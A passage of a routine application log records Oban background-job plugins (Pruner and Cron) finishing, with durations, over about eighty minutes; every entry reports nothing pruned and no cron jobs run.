{"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:49.536 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.784 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:19.537 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:49.538 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.786 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:19.540 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:49.542 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.786 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:19.543 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:49.544 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.787 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:19.545 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:49.546 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.788 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:19.548 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:49.549 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.789 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:19.550 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:49.552 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.790 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:19.553 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:49.554 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.791 [info] {"source":"oban","duration":98,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:19.555 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:49.556 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.792 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:19.557 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:49.558 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.793 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:19.559 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:49.560 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.794 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:19.562 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:49.564 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.795 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:19.565 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:49.566 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.796 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:19.567 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:49.568 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.797 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:19.569 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:49.570 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.798 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:19.572 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:49.573 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.799 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:19.575 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:49.576 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.800 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:19.577 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:49.578 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.801 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:19.580 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:49.582 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.802 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:19.584 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:49.585 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.803 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:19.586 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:49.587 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.804 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:19.588 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:49.589 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.805 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:19.590 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:49.591 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.806 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:19.592 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:49.594 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.807 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:19.595 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:49.596 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.808 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:19.597 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:49.598 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.809 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:19.599 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:49.600 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.810 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:19.601 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:49.602 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.811 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:19.604 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:49.605 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.812 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:19.606 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:49.607 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.813 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:19.608 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:49.609 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.814 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:19.610 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:49.611 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.815 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:19.612 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:49.613 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.816 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:19.614 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:49.615 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.817 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:19.616 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:49.617 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.819 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:19.618 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:49.619 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.819 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:19.620 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:49.622 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.820 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:19.623 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:49.624 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.821 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:19.625 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:49.626 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.822 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:19.628 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:49.629 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.823 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:19.630 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:49.631 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.824 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:19.632 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:49.633 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.825 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:19.634 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:49.635 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.826 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:19.636 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:49.637 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.827 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:19.639 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:49.640 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.828 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:19.641 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:49.642 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.829 [info] {"source":"oban","duration":311,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:19.643 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:49.644 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.830 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:19.646 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:49.647 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.831 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:19.648 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:49.649 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.832 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:19.650 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:49.651 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.833 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:19.652 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:49.653 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.834 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:19.655 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:49.656 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.835 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:19.657 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:49.658 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.836 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:19.659 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:49.660 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.837 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:19.661 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:49.663 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.838 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:19.664 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:49.665 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.839 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:19.666 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:49.667 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.840 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:19.668 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:49.669 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.842 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:19.670 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:49.671 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.842 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:19.672 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:49.673 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.843 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:19.674 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:49.676 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.844 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:19.677 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:49.678 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.845 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:19.679 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:49.680 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.846 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:19.682 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:49.683 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.847 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:19.684 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:49.684 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.848 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:19.686 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:49.687 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.849 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:19.688 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:49.689 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.850 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:19.690 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:49.691 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.852 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:19.692 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:49.694 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.852 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:19.695 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:49.696 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.853 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:19.697 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:49.699 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.854 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:19.701 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:49.702 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.855 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:19.703 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:49.704 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.856 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:19.705 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:49.706 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.857 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:19.707 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:49.709 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.858 [info] {"source":"oban","duration":311,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:19.710 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:49.711 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.859 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:19.713 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:49.714 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.860 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:19.715 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:49.716 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.861 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:19.717 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:49.718 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.863 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:19.719 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:49.720 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.863 [info] 